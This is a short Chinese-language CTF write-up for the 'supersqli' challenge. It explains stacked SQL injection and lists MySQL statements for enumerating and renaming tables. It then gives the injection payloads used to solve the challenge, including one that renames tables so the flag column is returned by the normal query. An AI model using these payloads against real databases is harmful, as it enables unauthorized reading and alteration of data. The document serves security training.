supersqli

0x01 堆叠注入

1、定义与说明

• 在sql中，分号(;)表示一条sql语句的结束。在;结束之后继续构造下一条语句，会一起执行，因此为堆叠注入。
• union联合查询是将两条语句合并之后进行查询，union执行的语句有限。
• 堆叠注入可以执行任意的语句

2、查询语句

查询数据库：

• show databases

查询表：

• show tables

显示表中列的信息：

• show columns from table_name
• desc table_name
• select * from information_schema.columns where table_schema="" and table_name=""

更改表的名字：

• rename table table_name1 to newtable_name1 [, table_name2 to newtable_name2]
• alter table table_name to newtable_name

更改字段的名字：

• alter table table_name change name column_name varchar(20) not null

0x02

1、存在sql注入

GET，字符型，单引号

?inject=1' order by 2--+

select等一些语句被过滤

2、堆叠注入

?inject=1';show databases;--+

保证前面的语句闭合，执行后面的语句

得到了数据表

查看表的结构

只能查看words表，不能查看另一个表

重命名表

将words默认表重命名为word1，将数字表重命名为words

在words表插入一列，id，flag

那么我们查询id为1，得出flag

?inject=1' or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);--+

参考链接：

https://www.cnblogs.com/0nth3way/articles/7128189.html

https://www.cnblogs.com/dedragon/p/12728498.html

https://blog.csdn.net/qq_26406447/article/details/90643951